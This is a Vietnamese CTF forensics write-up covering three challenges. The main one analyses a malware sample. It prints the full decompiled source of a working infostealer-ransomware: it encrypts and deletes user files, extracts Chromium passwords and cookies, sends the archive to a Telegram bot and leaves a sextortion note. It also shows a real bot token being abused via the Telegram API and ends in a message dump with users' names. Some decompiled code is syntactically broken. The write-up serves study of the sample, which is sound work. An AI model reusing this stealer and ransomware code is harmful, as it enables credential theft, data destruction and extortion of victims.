# Write Up World Wide CTF 2024 (FORENSICS) ![image](https://hackmd.io/_uploads/By4h-PgNke.png) ## 1. Too Hidden ![image](https://hackmd.io/_uploads/BJkyGweV1e.png) Bài cho file `.pcapng`, mở ra thì mình thấy toàn các gói `icmp`, dạng này khá dễ nhận biết, đọc qua thử: ![image](https://hackmd.io/_uploads/BkANzwlEye.png) Có thể thấy được mỗi gói chứa data 46/45/32, nếu decode decimal thì nó sẽ ra các ký tự morse, trích xuất hết ra thử: ```bash= tshark -r chall.pcapng -Y "icmp" -T fields -e data ``` ![image](https://hackmd.io/_uploads/HkpBmvgNJl.png) ```python= data = """ 3436 3435 3435 3332 3436 ... """ numbers = data.strip().split() filtered_data = ' '.join(f"{num[:2]} {num[2:]}" for num in numbers) print(filtered_data) ``` ```python= data = """ 46454532464545324646454632324646464632454545324645464632454645453246464545464532464646324646464632463246324632463245324646454546453245464545324545453246464532464645454645324546454632464532454632464645454645324646454632464632454632454646324646454546453245453246324646454546453246464545464632464645454646324646454546463246464545464632464645454646324646454546463246464545464632464645454646324646454546463246464545464632 """ data = data.strip().replace("\n", "") filtered_data = ' '.join(data[i:i+2] for i in range(0, len(data), 2)) print(filtered_data) ``` ![image](https://hackmd.io/_uploads/HJFkLPg4yl.png) > Flag: WWF{HOLY_SHEEEET_YOU_CAN_FIND_ME_??????????} --- ## 2. Forgot Password ![image](https://hackmd.io/_uploads/B1qMUPe41g.png) - Đề bài nói rằng không thể đăng nhập và cần khôi phục mật khẩu, nhưng không nhớ các câu hỏi bảo mật. - Trong Windows, thông tin về mật khẩu và tài khoản người dùng được lưu trữ trong SAM (Security Account Manager). > File SAM lưu trữ thông tin băm (hash) của mật khẩu tài khoản người dùng trong hệ điều hành Windows. > Khi cần khôi phục mật khẩu hoặc kiểm tra tài khoản, SAM là tệp trọng tâm vì nó lưu giữ các băm này. Bài cho file `.ad1`, mở bằng `ftk`, tìm đến vị trí file `SAM`, export ra, mở bằng registry explorer, mình có ![image](https://hackmd.io/_uploads/SJsFvDe4yx.png) ```bash= Reset Data {"version":1,"questions":[{"question":"What was your first pet’s name?","answer":"wwf{I_love_"},{"question":"What’s the name of the city where you were born?","answer":"security_questions_"},{"question":"What was your childhood nickname?","answer":"s0_muChhhhhhhhhhhhhhhhh}"}]} ``` > Flag: wwf{I_love_security_questions_s0_muChhhhhhhhhhhhhhhhh} --- ## 3. Black Meet Wukong ![image](https://hackmd.io/_uploads/S15Awve4yg.png) >https://drive.google.com/file/d/1SGOyMhxvupxYXJhCoRY2nxKi-5aEsydJ/view Tiếp tục điều tra trong file `.ad1` đó, mình đọc thử các file log: ![image](https://hackmd.io/_uploads/BJzcIseNJe.png) Có thể thấy có đoạn base 64 khả nghi, tiếp tục decode: ![image](https://hackmd.io/_uploads/rkxf0UogEJe.png) > Start-Process C:\Users\wukong\AppData\Local\Microsoft\Windows\bLAcKmEeTWUkOng.exe Đường dẫn cho ta đến 1 file `.exe`, có lẽ là malware, tìm theo đường dẫn đó, mình có: ![image](https://hackmd.io/_uploads/rJePwilEJl.png) Export file đó ra thử, cảnh báo ngay lập tức xuất hiện, bỏ vô máy ảo phân tích tiếp: Dùng `pyinstxtractor` phân tích file `.exe`: ![image](https://hackmd.io/_uploads/rJYc_jlEkl.png) Có được file `bLAcKmEeTWUkOng.pyc`, decode sang python, dùng `uncompyle6`/`pycdc`, có được source: ```python= import os from cryptography.fernet import Fernet from Crypto.Cipher import AES from Crypto.Util.Padding import pad import winreg as wrg import requests import base64 import subprocess import json import random import shutil import sqlite3 import time import ctypes from datetime import datetime from threading import Thread from ctypes import wintypes from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer from urllib3 import PoolManager, HTTPResponse, disable_warnings as disable_warnings_urllib3 disable_warnings_urllib3() PC_username = os.getlogin() key_fernet = [b'zTskoYGm68VrSiOM6J9W0PqyKTfSyraM0NydVmJvM_k=', b'pcD23bRQTL1MqLS84NdPsiPdYJlwbTaal6JmulzTq4k=', b'9EBQNDjmy0rGXCbVgVnrgFFsAHk4Ye1M8y1GSIx9CPY=', b'663RnK5l0MQzewfpAQfYhJbL3p7ZRoR-j7I3DkXiUIk=', b'I5Arxkgfo2E56VBVctFjJ-pFkeBbQg6QXMuG-gNgqq4=', b'eXP1sKfkTE9PNkWR8rA9jzJqun80yMYPrzMMi65JQpw=', b'56S9Sv7zUPL71w6N2OTSwxvFl_a-5zvsN6rxQI97UWU=', b'gZcRMaVftMg_F9E4tNQ_etAR7_PKT_vVfWwWkMSxDQc=', b'-XmaKL4uo4p0gM5ARQZtxjZ_5ecK1w53AEkWuiWDIzQ=', b'ikNfBtrrX-9EBI3iKzWnBJW5wNNvi8rM4oT9BLqDJNw=', b'uEikHaHAX1B20aB_bcQwUA0aO21Ai-rgYAqGfKxHKJA=', b'deoHTwNvwTOuQjoy5oh9jN_ZQlLbVCvwI47D3sQt8UA=', b'xuaD7BqwreniKZAvBO38MO250oO40HXboxhU8--6YQ0=', b'X5GfY_zukIDPKxyzmMYFkps-Av8Ao2TQDPmckrjb3ZQ=', b'CAOD7XSW4e-ON33uz5_8h6RZhorDlKg798e1RcEYSlo=', b'dMphwlwO6Qh_FCdbMzseoZsWkQWPFtGx8VSiFAN2SSo=', b'q4NfcRieLIKnyBwFEhUxZcR_8A3BFS_n_cIE8sFX8a4=', b'hLfAPR06xuo545qJlzlYko5f9KKuXOBrCBNgzruTV14='] key_xori = 'y0u_l00k_l1k3_X1sh1_&_b3_my_l4dy' `` def god_bless_aes(data, key): key = key.encode('utf-8') cipher = AES.new(key, AES.MODE_ECB) padded_text = pad(data, AES.block_size) cipher_text = cipher.encrypt(padded_text) return cipher_text def xoriiiiiiiiiii(data, key): return bytearray([b ^ key[i % len(key)] for i, b in enumerate(data)]) def crypter_fichier(file_path, output_path): with open(file_path, 'rb') as file: original_data = file.read() encrypted_data = original_data for key in key_fernet: fernet = Fernet(key) encrypted_data = fernet.encrypt(encrypted_data) encrypted_data = xoriiiiiiiiiii(encrypted_data, key_fernet[0]) final = god_bless_aes(encrypted_data, key_xori) with open(output_path, 'wb') as enc_file: enc_file.write(final) path_list = ['C:\\Users\\{}\\Documents'.format(PC_username), 'C:\\Users\\{}\\Pictures'.format(PC_username), 'C:\\Users\\{}\\Desktop'.format(PC_username), 'C:\\Users\\{}\\Downloads'.format(PC_username)] fname = [] for path in path_list: for root, d_names, f_names in os.walk(path): for f in f_names: fname.append(os.path.join(root, f)) for file in fname: if 'desktop.ini' not in file: crypter_fichier(file, file + '.odin') os.system('del \"{}\"'.format(file)) APPDATA: str = os.getenv('APPDATA') LOCALAPPDATA: str = os.getenv('LOCALAPPDATA') TAPI: str = '7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q' TCHATID: str = '-4528960795' class ChoriumBrowsers: encryptionKey: bytes = None BrowserPath: str = None LoginFilePaths: str = None savePath: str = None oldPath: str = None def __init__(self, browserPath: str) -> bool: if 'Opera' in browserPath: self.oldPath = browserPath browserPath = os.path.join(APPDATA, browserPath) else: # inserted self.oldPath = browserPath browserPath = os.path.join(LOCALAPPDATA, browserPath) self.BrowserPath = browserPath self.encryptionKey = self.GetEncryptionKey() @staticmethod def Check(browserPath: str) -> bool: if 'Opera' in browserPath: browserPath = os.path.join(APPDATA, browserPath) else: # inserted browserPath = os.path.join(LOCALAPPDATA, browserPath) if not os.path.exists(path=browserPath): return False return True def GetEncryptionKey(self) -> bytes: if self.encryptionKey is not None: return self.EncryptionKey localStatePath = os.path.join(self.BrowserPath, 'Local State') if os.path.isfile(localStatePath): for i in ['chrome', 'brave', 'opera', 'edge', 'comodo', 'epic', 'iridium', 'opera']: Utility.TaskKill(i) with open(localStatePath, encoding='utf-8', errors='ignore') as file: jsonContent = json.load(file) encryptedKey = jsonContent['os_crypt']['encrypted_key'] encryptedKey = base64.b64decode(encryptedKey.encode())[5:] self.EncryptionKey = Syscalls.CryptUnprotectData(encryptedKey) return self.EncryptionKey def GetLoginPaths(self, browserPath: str): loginFilePaths = list() for root, _, files in os.walk(browserPath): for file in files: if file.lower() == 'login data': filepath = os.path.join(root, file) loginFilePaths.append(filepath) return loginFilePaths def GetPasswords(self, savePath: str): browserName = self.oldPath.split('\\')[0] + '_' + self.oldPath.split('\\')[1] for path in self.GetLoginPaths(self.BrowserPath): name = f'[{browserName}]' if 'Default' in path: name += 'Default_Password.txt' else: # inserted a = path.split('\\') name += a[len(a) - 2] + '_Password.txt' pass tempfile = os.path.join(os.getenv('temp'), Utility.GetRandomString(10) + '.db') if not os.path.isfile(tempfile): break try: for i in ['chrome', 'brave', 'opera', 'edge', 'comodo', 'epic', 'iridium', 'opera']: Utility.TaskKill(i) shutil.copy(path, tempfile) except Exception: pass # postinserted else: # inserted db = sqlite3.connect(tempfile) db.text_factory = lambda b: b.decode(errors='ignore') cursor = db.cursor() f = None try: results = cursor.execute('SELECT origin_url, username_value, password_value FROM logins').fetchall() f = open(savePath + name, mode='a+', encoding='utf8') for url, username, password in results: password = self.Decrypt(password, self.encryptionKey) f.write(f'URL: {str(url)}\nUsername: {str(username)}\nPassword: {str(password)}\n') Counter.PasswordCount += 1 f.close() if os.path.getsize(savePath + name) <= 0: os.remove(savePath + name) except Exception as e: pass # postinserted pass print(e) def Decrypt(self, buffer: bytes, key: bytes): version = buffer.decode(errors='ignore') if version.startswith(('v10', 'v11')): iv = buffer[3:15] cipherText = buffer[15:] cipher = AES.new(key, AES.MODE_GCM, iv) decrypted_pass = cipher.decrypt(cipherText) decrypted_pass = decrypted_pass[:(-16)].decode() return decrypted_pass return str(Syscalls.CryptUnprotectData(buffer)) def GetCookiesPath(self, browserPath: str): cookiesFilePaths = list() for root, _, files in os.walk(self.BrowserPath): for file in files: if file.lower() == 'cookies': filepath = os.path.join(root, file) cookiesFilePaths.append(filepath) return cookiesFilePaths def GetCookies(self, savePath: str): browserName = self.oldPath.split('\\')[0] + '_' + self.oldPath.split('\\')[1] for path in self.GetCookiesPath(self.BrowserPath): name = f'[{browserName}]' if 'Default' in path: name += 'Default_Cookies.txt' else: # inserted a = path.split('\\') name += a[len(a) - 3] + '_Cookies.txt' pass tempfile = os.path.join(os.getenv('temp'), Utility.GetRandomString(10) + '.tmp') if not os.path.isfile(tempfile): break try: for i in ['chrome', 'brave', 'opera', 'edge', 'comodo', 'epic', 'iridium', 'opera']: Utility.TaskKill(i) shutil.copy(path, tempfile) except: pass else: # inserted db = sqlite3.connect(tempfile) db.text_factory = lambda b: b.decode(errors='ignore') cursor = db.cursor() try: results = cursor.execute('SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies').fetchall() f = open(savePath + name, 'a+', encoding='utf8') for host, name, path, cookie, expiry in results: cookie = self.Decrypt(cookie, self.encryptionKey) flag1 = 'FALSE' if expiry == 0 else 'TRUE' flag2 = 'FALSE' if str(host).startswith('.') else 'TRUE' if host and name and cookie: pass # postinserted except Exception: else: # inserted f.write(f'{host}\t{flag1}\t{path}\t{flag2}\t{expiry}\t{name}\t{cookie}\n') Counter.CookiesCount += 1 else: # inserted f.close() if os.path.getsize(savePath + name) <= 0: os.remove(savePath + name) pass class Counter: CookiesCount: int = 0 PasswordCount: int = 0 FilesCount: int = 0 WalletsCount: int = 0 TelegramSessionsCount: int = 0 class Utility: @staticmethod def GetRandomString(length: int=5, invisible: bool=False): if invisible: return ''.join(random.choices([' ', chr(8239)] + [chr(x) for x in range(8192, 8208)], k=length)) @staticmethod def TaskKill(*tasks: str) -> None: tasks = list(map(lambda x: x.lower(), tasks)) out = subprocess.run('tasklist /FO LIST', shell=True, capture_output=True).stdout.decode(errors='ignore').strip().split('\r\n\r\n') for i in out: i = i.split('\r\n')[:2] try: name, pid = (i[0].split()[(-1)], int(i[1].split()[(-1)])) name = name[:(-4)] if name.endswith('.exe') else name for task in tasks: if task in name.lower(): subprocess.run('taskkill /F /PID %d' % pid, shell=True, capture_output=True) except Exception: pass # postinserted pass else: # inserted pass @staticmethod def GetInkTarget(path_ink: str): target = None if os.path.isfile(path_ink): output = subprocess.run('wmic path win32_shortcutfile where name=\"%s\" get target /value' % os.path.abspath(path_ink).replace('\\', '\\\\'), shell=True, capture_output=True).stdout.decode() if output: for line in output.splitlines(): if line.startswith('Target='): temp = line.lstrip('Target=').strip() if os.path.exists(temp): target = temp except: pass # postinserted return target return target @staticmethod def GetLnkFromStartMenu(app: str): shortcutPaths = [] startMenuPaths = [os.path.join(os.environ['APPDATA'], 'Microsoft', 'Windows', 'Start Menu', 'Programs'), os.path.join('C:\\', 'ProgramData', 'Microsoft', 'Windows', 'Start Menu', 'Programs')] for startMenuPath in startMenuPaths: for root, _, files in os.walk(startMenuPath): for file in files: if file.lower() == '%s.lnk' % app.lower(): shortcutPaths.append(os.path.join(root, file)) return shortcutPaths class Syscalls: @staticmethod def CreateMutex(mutex: str) -> bool: kernel32 = ctypes.windll.kernel32 mutex = kernel32.CreateMutexA(None, False, mutex) return kernel32.GetLastError()!= 183 @staticmethod def CryptUnprotectData(encrypted_data: bytes, optional_entropy: str=None) -> bytes: class DATA_BLOB(ctypes.Structure): _fields_ = [('cbData', ctypes.c_ulong), ('pbData', ctypes.POINTER(ctypes.c_ubyte))] pDataIn = DATA_BLOB(len(encrypted_data), ctypes.cast(encrypted_data, ctypes.POINTER(ctypes.c_ubyte))) pDataOut = DATA_BLOB() pOptionalEntropy = None if optional_entropy is not None: optional_entropy = optional_entropy.encode('utf-16') pOptionalEntropy = DATA_BLOB(len(optional_entropy), ctypes.cast(optional_entropy, ctypes.POINTER(ctypes.c_ubyte))) if ctypes.windll.Crypt32.CryptUnprotectData(ctypes.byref(pDataIn), None, ctypes.byref(pOptionalEntropy) if pOptionalEntropy is not None else None, None, None, 0, ctypes.byref(pDataOut)): data = (ctypes.c_ubyte * pDataOut.cbData)() ctypes.memmove(data, pDataOut.pbData, pDataOut.cbData) ctypes.windll.Kernel32.LocalFree(pDataOut.pbData) return bytes(data) raise ValueError('Invalid encrypted_data provided!') class Paths: Orbitum = (os.path.join('Google', 'Chrome', 'User Data'), os.path.join('Chromium', 'User Data'), os.path.join('Thorium', 'User Data'), os.path.join('Google(x86)', 'Chrome', 'User Data'), os.path.join('CentBrowser', 'User Data'), os.path.join('Chedot', 'User Data'), os.path.join('Vivaldi', 'User Data'), os.path.join('Kometa', 'User Data'), os.path.join('Elements Browser', 'User Data'), os.path.join('CryptoTab Browser', 'User Data'), os.path.join('Epic Privacy Browser', 'uCozMedia', 'Uran', 'Fenrir Inc'), os.path.join('Sleipnir5', 'setting', 'modules'), os.path.join('ChromiumViewer', 'CatalinaGroup', 'Citrio'), os. isRun = False @staticmethod def kill(): while Paths.isRun: for i in ['chrome', 'brave', 'opera', 'edge']: Utility.TaskKill(i) time.sleep(0.2) def Steal(savePath: str): os.chdir(savePath) saveBrowserCookies = savePath + '\\Browsers Data\\Cookies\\' saveBrowserPasswords = savePath + '\\Browsers Data\\Passwords\\' os.makedirs(saveBrowserCookies, exist_ok=True) os.makedirs(saveBrowserPasswords, exist_ok=True) threads = [] for path in Paths.browserPaths: if ChoriumBrowsers.Check(path) == False: continue instace = ChoriumBrowsers(browserPath=path) instace.GetCookies(saveBrowserCookies) instace.GetPasswords(saveBrowserPasswords) saveSystemInfo = savePath + '\\SystemInfomation.txt' computerName = os.getenv('computername') or 'Unable to get computer name' computerOS = subprocess.run('wmic os get Caption', capture_output=True, shell=True).stdout.decode(errors='ignore').strip().splitlines() computerOS = computerOS[2].strip() if len(computerOS) >= 2 else 'Unable to detect OS' totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', capture_output=True, shell=True).stdout.decode(errors='ignore').strip().split() totalMemory = str(int(int(totalMemory[1]) / 1000000000)) + ' GB' if len(totalMemory) >= 1 else 'Unable to detect total memory' uuid = subprocess.run('wmic csproduct get uuid', capture_output=True, shell=True).stdout.decode(errors='ignore').strip().split() uuid = uuid[1].strip() if len(uuid) >= 1 else 'Unable to detect UUID' cpu = subprocess.run('powershell Get-ItemPropertyValue -Path \'HKLM:System\\CurrentControlSet\\Control\\Session Manager\\Environment\' -Name PROCESSOR_IDENTIFIER', capture_output=True, shell=True).stdout.decode(errors='ignore').strip() or 'Unable to detect CPU' gpu = subprocess.run('wmic path win32_VideoController get name', capture_output=True, shell=True).stdout.decode(errors='ignore').splitlines() gpu = gpu[2].strip() if len(gpu) >= 2 else 'Unable to detect GPU' productKey = subprocess.run('powershell Get-ItemPropertyValue -Path \'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SoftwareProtectionPlatform\' -Name BackupProductKeyDefault', capture_output=True, shell=True).stdout.decode(errors='ignore').strip() or 'Unable to get product key' info = '============================================================\n' info += '###################### Odin Grabber #############################\n' info += f'Name: {str(computerName)}\n' info += f'OS: {str(computerOS)}\n' info += f'CPU: {str(cpu)}\n' info += f'GPU: {str(gpu)}\n' info += f'RAM: {str(totalMemory)}\n' info += f'UUID: {str(uuid)}\n' info += f'Product Key: {str(productKey)}\n' info += '============================================================\n' with open(saveSystemInfo, 'w') as f: f.write(info) f.close() InfoLog.FileName = computerName InfoLog.IP = requests.get('https://api.ipify.org?format=json').json()['ip'] j = requests.get('https://ipinfo.io/json').json() InfoLog.Country = j['region'] + ' ' + j['country'] InfoLog.Date = datetime.today().strftime('%d-%m-%Y %H:%M:%S') for t in threads: t.join() class InfoLog: FileName: str IP: str Country: str Date: str if os.name == 'nt': TempPath = '' while True: TempPath = os.path.join(os.getenv('temp'), Utility.GetRandomString(10)) if not os.path.isdir(TempPath): break Paths.isRun = True os.makedirs(TempPath) t1 = Thread(target=Steal, args={TempPath}) t1.start() t1.join() zipf = TempPath shutil.make_archive(zipf, 'zip', TempPath) zipf = zipf + '.zip' info = f'<b>====== Stealer Logs =======</b>\n<b>==== PC Infomation ====</b>\nName: {InfoLog.FileName}\nIP: {InfoLog.IP}\nCountry: {InfoLog.Country}\nDate: {InfoLog.Date}\n<b>==== Browser Data ====</b>\nCookies: {Counter.CookiesCount}\nPasswords: {Counter.PasswordCount}\n<b>==== Wallets ====</b>\n' filename = f'{InfoLog.Country}-{InfoLog.IP}-{InfoLog.Date}' files = {'document': (filename + '.zip', open(zipf, 'rb'), 'text/plain')} data = {'chat_id': TCHATID, 'caption': info, 'parse_mode': 'HTML'} response = requests.post(url=url, files=files, data=data) if response.status_code == 200: print('Done') url = 'https://raw.githubusercontent.com/odintheprotector/malware_image/main/odin.jpg' response = requests.get(url, allow_redirects=True) output_file = 'C:\\Users\\' + PC_username + '\\Downloads\\odin.jpg' with open(output_file, 'wb') as file: file.write(response.content) with wrg.OpenKey(wrg.HKEY_CURRENT_USER, 'Control Panel\\Desktop', 0, wrg.KEY_SET_VALUE) as key: wrg.SetValueEx(key, 'WallPaper', 0, wrg.REG_SZ, output_file) wrg.SetValueEx(key, 'WallpaperStyle', 0, wrg.REG_SZ, '2') wrg.SetValueEx(key, 'TileWallpaper', 0, wrg.REG_SZ, '0') with open('C:\\Users\\{}\\Desktop\\ODIN_WANT_TO_SAY.txt'.format(PC_username), 'w') as note: note.write('ALL YOUR FILES WERE ENCRYPTED!\nIf you want to recover all your files, just send me your n*de image\nI will give you the program to decrypt') os.system('shutdown -r -t 3') ``` Tổng quát thì con malware này đa chức năng: Mã hóa file trên máy nạn nhân: - Các file trong các thư mục Documents, Pictures, Desktop, và Downloads được mã hóa bằng nhiều phương pháp (AES, XOR, và Fernet). - File gốc bị xóa sau khi mã hóa, và file mã hóa được lưu với đuôi .odin. Đánh cắp thông tin nhạy cảm: - Cookies và mật khẩu: Mã đọc dữ liệu từ các trình duyệt Chromium-based (Chrome, Brave, Edge, Opera, v.v.) để lấy thông tin đăng nhập và cookies. - Thông tin hệ thống: Bao gồm tên máy tính, OS, CPU, GPU, RAM, UUID, và Product Key. Gửi thông tin về server tấn công: - Thông qua API Telegram (TAPI và TCHATID) gửi file mã hóa và thông tin hệ thống. Thay đổi hình nền máy tính: - Tải một hình ảnh từ URL và đặt làm hình nền. Hiển thị thông báo tống tiền: - Tạo một file văn bản trên Desktop với nội dung đe dọa ("ALL YOUR FILES WERE ENCRYPTED!") và yêu cầu gửi "nội dung nhạy cảm" để lấy công cụ giải mã. Khởi động lại máy tính: - Sau khi thực hiện tất cả hành vi trên, mã thực hiện lệnh shutdown -r -t 3 để khởi động lại máy tính. Và author có đề cập đến việc flag có 2 phần, thì từ source của con mã độc này, có thể dự đoán là có 1 phần ở các file bị mã hóa thành đuôi `.odin`, viết script để tự động giải mã ngược lại các file đó: ```python= from cryptography.fernet import Fernet from Crypto.Cipher import AES from Crypto.Util.Padding import unpad # Danh sách các khóa Fernet (sử dụng lần lượt) fernet_keys = [ b'zTskoYGm68VrSiOM6J9W0PqyKTfSyraM0NydVmJvM_k=', b'pcD23bRQTL1MqLS84NdPsiPdYJlwbTaal6JmulzTq4k=', b'9EBQNDjmy0rGXCbVgVnrgFFsAHk4Ye1M8y1GSIx9CPY=', b'663RnK5l0MQzewfpAQfYhJbL3p7ZRoR-j7I3DkXiUIk=', b'I5Arxkgfo2E56VBVctFjJ-pFkeBbQg6QXMuG-gNgqq4=', b'eXP1sKfkTE9PNkWR8rA9jzJqun80yMYPrzMMi65JQpw=', b'56S9Sv7zUPL71w6N2OTSwxvFl_a-5zvsN6rxQI97UWU=', b'gZcRMaVftMg_F9E4tNQ_etAR7_PKT_vVfWwWkMSxDQc=', b'-XmaKL4uo4p0gM5ARQZtxjZ_5ecK1w53AEkWuiWDIzQ=', b'ikNfBtrrX-9EBI3iKzWnBJW5wNNvi8rM4oT9BLqDJNw=', b'uEikHaHAX1B20aB_bcQwUA0aO21Ai-rgYAqGfKxHKJA=', b'deoHTwNvwTOuQjoy5oh9jN_ZQlLbVCvwI47D3sQt8UA=', b'xuaD7BqwreniKZAvBO38MO250oO40HXboxhU8--6YQ0=', b'X5GfY_zukIDPKxyzmMYFkps-Av8Ao2TQDPmckrjb3ZQ=', b'CAOD7XSW4e-ON33uz5_8h6RZhorDlKg798e1RcEYSlo=', b'dMphwlwO6Qh_FCdbMzseoZsWkQWPFtGx8VSiFAN2SSo=', b'q4NfcRieLIKnyBwFEhUxZcR_8A3BFS_n_cIE8sFX8a4=', b'hLfAPR06xuo545qJlzlYko5f9KKuXOBrCBNgzruTV14=' ] # Khóa AES aes_key = 'y0u_l00k_l1k3_X1sh1_&_b3_my_l4dy' # Hàm giải mã Fernet def fernet_decrypt(data, keys): for key in reversed(keys): # Giải mã ngược thứ tự mã hóa f = Fernet(key) data = f.decrypt(data) return data # Hàm giải mã XOR def xor_decrypt(data, key): return bytearray([b ^ key[i % len(key)] for i, b in enumerate(data)]) # Hàm giải mã AES def aes_decrypt(data, key): cipher = AES.new(key.encode('utf-8'), AES.MODE_ECB) return unpad(cipher.decrypt(data), AES.block_size) # Đọc file mã hóa input_file = 'wukong.png.odin' # Thay bằng file bạn muốn giải mã with open(input_file, 'rb') as file: encrypted_data = file.read() try: # Giải mã AES print("[+] Starting AES decryption...") aes_decrypted_data = aes_decrypt(encrypted_data, aes_key) print("[+] AES decryption successful!") # Giải mã XOR print("[+] Starting XOR decryption...") xor_key = fernet_keys[0] # Sử dụng khóa đầu tiên trong danh sách Fernet cho XOR xor_decrypted_data = xor_decrypt(aes_decrypted_data, xor_key) print("[+] XOR decryption successful!") # Giải mã Fernet print("[+] Starting Fernet decryption...") xor_decrypted_data_bytes = bytes(xor_decrypted_data) # Chuyển sang bytes fernet_decrypted_data = fernet_decrypt(xor_decrypted_data_bytes, fernet_keys) print("[+] Fernet decryption successful!") # Lưu kết quả cuối cùng output_file = 'final_decrypted_file.png' with open(output_file, 'wb') as file: file.write(fernet_decrypted_data) print(f"[+] Decryption completed! File saved to {output_file}") except Exception as e: print(f"[-] Decryption failed: {e}") ``` Thử hết các file `.odin`, mình có được part 1 flag: ![image](https://hackmd.io/_uploads/HJ2Lcjl4yx.png) Tiếp tục với part 2, có thể thấy ngoài việc mã hóa các file thì source có đề cập đến cả bot tele: Mã độc sử dụng Telegram API để gửi thông tin lấy được về cho kẻ tấn công. Nó gửi các thông tin sau: - File nén chứa dữ liệu của cookies và mật khẩu từ các trình duyệt. - Thông tin hệ thống: Gửi các thông tin về máy tính và địa chỉ IP của nạn nhân. Tìm part 2 của flag từ các thông báo được bot Telegram gửi đi. Bot Telegram sử dụng Token API (TAPI) và Chat ID (TCHATID) để gửi và nhận các thông tin. Phân tích bot Telegram Từ mã nguồn mã độc, bot Telegram sử dụng TAPI và TCHATID để tương tác với API Telegram nhằm gửi thông tin về nạn nhân đến nhóm Telegram được quản lý bởi kẻ tấn công. Các tin nhắn này chứa thông tin như: - Cấu hình hệ thống - Dữ liệu trình duyệt (cookies, mật khẩu, v.v.) - Thông báo ransomware Thông tin liên quan từ mã độc: - TAPI: 7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q - TCHATID: -4528960795 Lấy các tin nhắn từ bot qua API Telegram Sử dụng lệnh getUpdates của Telegram API để lấy toàn bộ tin nhắn được gửi bởi bot: ```bash= https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/getUpdates ``` Hoặc sử dụng đoạn mã Python: ```python= import requests # Cấu hình Bot Token bot_token = '7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q' # URL của Telegram API url = f'https://api.telegram.org/bot{bot_token}/getUpdates' # Lấy dữ liệu từ bot response = requests.get(url) data = response.json() # In kết quả print(data) ``` Lúc khai thác mình có được dữ liệu này (may là nó chưa bị xóa), vì bot được cài đặt tự động xóa sau thời gian nhất định : ```bash! {'ok': True, 'result': [{'update_id': 160555867, 'message': {'message_id': 674, 'from': {'id': 7870990883, 'is_bot': False, 'first_name': 'Duy', 'last_name': 'Dang', 'username': 'tibinary', 'language_code': 'vi'}, 'chat': {'id': 7870990883, 'first_name': 'Duy', 'last_name': 'Dang', 'username': 'tibinary', 'type': 'private'}, 'date': 1733031791, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555868, 'message': {'message_id': 680, 'from': {'id': 7870990883, 'is_bot': False, 'first_name': 'Duy', 'last_name': 'Dang', 'username': 'tibinary', 'language_code': 'vi'}, 'chat': {'id': 7870990883, 'first_name': 'Duy', 'last_name': 'Dang', 'username': 'tibinary', 'type': 'private'}, 'date': 1733031901, 'text': '/flag', 'entities': [{'offset': 0, 'length': 5, 'type': 'bot_command'}]}}, {'update_id': 160555869, 'message': {'message_id': 691, 'from': {'id': 8051097960, 'is_bot': False, 'first_name': 'Trọng', 'last_name': 'Tâm', 'username': 'trongtam211', 'language_code': 'vi'}, 'chat': {'id': 8051097960, 'first_name': 'Trọng', 'last_name': 'Tâm', 'username': 'trongtam211', 'type': 'private'}, 'date': 1733032182, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555870, 'message': {'message_id': 702, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033173, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555871, 'message': {'message_id': 708, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033192, 'text': '.'}}, {'update_id': 160555872, 'message': {'message_id': 709, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033195, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555873, 'message': {'message_id': 710, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033196, 'text': '/start', 'entities': [{'offset': 0, 'length': 6, 'type': 'bot_command'}]}}, {'update_id': 160555874, 'message': {'message_id': 716, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033249, 'text': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883', 'entities': [{'offset': 0, 'length': 214, 'type': 'url'}], 'link_preview_options': {'url': 'https://api.telegram.org/bot7772912370:AAEkDG-RH1tZfNAPRN5nmKIJekvN0tRv06Q/forwardMessages?from_chat_id=-4528960795&message_ids=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]&chat_id=7870990883'}}}, {'update_id': 160555875, 'message': {'message_id': 722, 'from': {'id': 6800006864, 'is_bot': False, 'first_name': 'Chau', 'last_name': 'Duong', 'language_code': 'vi'}, 'chat': {'id': 6800006864, 'first_name': 'Chau', 'last_name': 'Duong', 'type': 'private'}, 'date': 1733033262, 'text': '{"ok":true,"result":[{"message_id":717},{"message_id":718},{"message_id":719},{"message_id":720},{"message_id":721}]}', 'entities': [{'offset': 0, 